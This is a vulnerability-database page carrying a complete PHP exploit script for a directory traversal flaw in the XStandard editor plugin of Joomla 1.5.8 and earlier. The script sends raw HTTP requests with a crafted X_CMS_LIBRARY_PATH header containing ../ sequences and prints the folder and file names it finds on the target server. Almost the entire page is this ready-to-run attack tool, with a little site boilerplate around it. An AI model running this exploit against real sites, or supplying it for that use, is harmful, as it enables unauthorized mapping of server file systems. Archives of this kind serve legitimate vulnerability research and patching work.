Lucene search
K

Joomla <= 1.5.8 (xstandard editor) Local Directory Traversal Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 13 Views

Joomla 1.5.8 XStandard Editor Local Directory Traversal Vulnerabilit

Code

                                                &#60;?php
/*
 Joomla &#60;= 1.5.8 (xstandard editor) Local Directory Traversal Vulnerability
 
 discovered by: irk4z[at]yahoo.pl
 greets: all friends ;) 
*/

echo &#34;* Joomla &#60;= 1.5.8 (xstandard editor) Local Directory Traversal Vuln\n&#34;;
echo &#34;* discovered by: irk4z[at]yahoo.pl\n&#34;;
echo &#34;*\n&#34;;
echo &#34;* greets: all friends ;) enjoy!\n&#34;;
echo &#34;*------------------------------------------------------------------*\n&#34;;

$host = $argv[1];
$path = $argv[2];
$folder = $argv[3];

if (empty($host) || empty($path)) {
	echo &#34;usage: php {$argv[0]} &#60;host&#62; &#60;path&#62; [&#60;folder&#62;]\n&#34;;
	echo &#34;       php {$argv[0]} example.org /joomla\n&#34;;
	echo &#34;       php {$argv[0]} example.org /joomla ../../\n&#34;;
	exit;
}

echo &#34;http://&#34; . $host . $path . &#34;/images/stories/\n\n&#34;;

if ( empty($folder) ){
	$lev = &#34;./&#34;;
	for( $i = 0; $i &#60;= 7; $i++ ) {
		echo browseFolder($host, $path, $lev);
		$lev .= &#34;../&#34;;
	}
} else {
	echo browseFolder($host, $path, $folder);
}

function browseFolder($host, $path, $folder){
	
	$packet = &#34;GET {$path}/plugins/editors/xstandard/attachmentlibrary.php HTTP/1.1\r\n&#34;;
	$packet .= &#34;Host: {$host}\r\n&#34;;
	$packet .= &#34;X_CMS_LIBRARY_PATH: {$folder}\r\n&#34;;
	$packet .= &#34;Connection: Close\r\n\r\n&#34;;

	$o = @fsockopen($host, 80);
	if(!$o){
		echo &#34;\n[x] No response...\n&#34;;
		die;
	}
	
	fputs($o, $packet);
	while (!feof($o)) $data .= fread($o, 1024);
	fclose($o);
	
	$_404 = strstr( $data, &#34;HTTP/1.1 404 Not Found&#34; );
	if ( !empty($_404) ){
		echo &#34;\n[x] 404 Not Found... Maybe wrong path? \n&#34;;
		die;
	}
	
	//folders
	preg_match_all(&#34;/&#60;baseURL&#62;([^&#60;]+)&#60;\/baseURL&#62;/&#34;, $data, $matches);
	//files
	preg_match_all(&#34;/&#60;value&#62;([^&#60;]+\.[^&#60;]{3,4})&#60;\/value&#62;/&#34;, $data, $matches2);
	
	$matches = array_merge( $matches[1], $matches2[1] );
	
	if ( empty($matches) ){
		$ret = &#34;$folder [x] Failed...\n&#34;;
	} else {
		$ret = &#39;&#39;;
		foreach( $matches as $tmp){
			$ret .= str_replace(&#34;images/stories/&#34;, &#39;&#39;, str_replace(&#34;/./&#34;, &#34;/&#34;, str_replace(&#34;//&#34;, &#34;/&#34;, urldecode($tmp) ) ) ) . &#34;\n&#34;;
		}
	}
	
	return ($ret);
}

?&#62;

# milw0rm.com [2009-01-07]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
13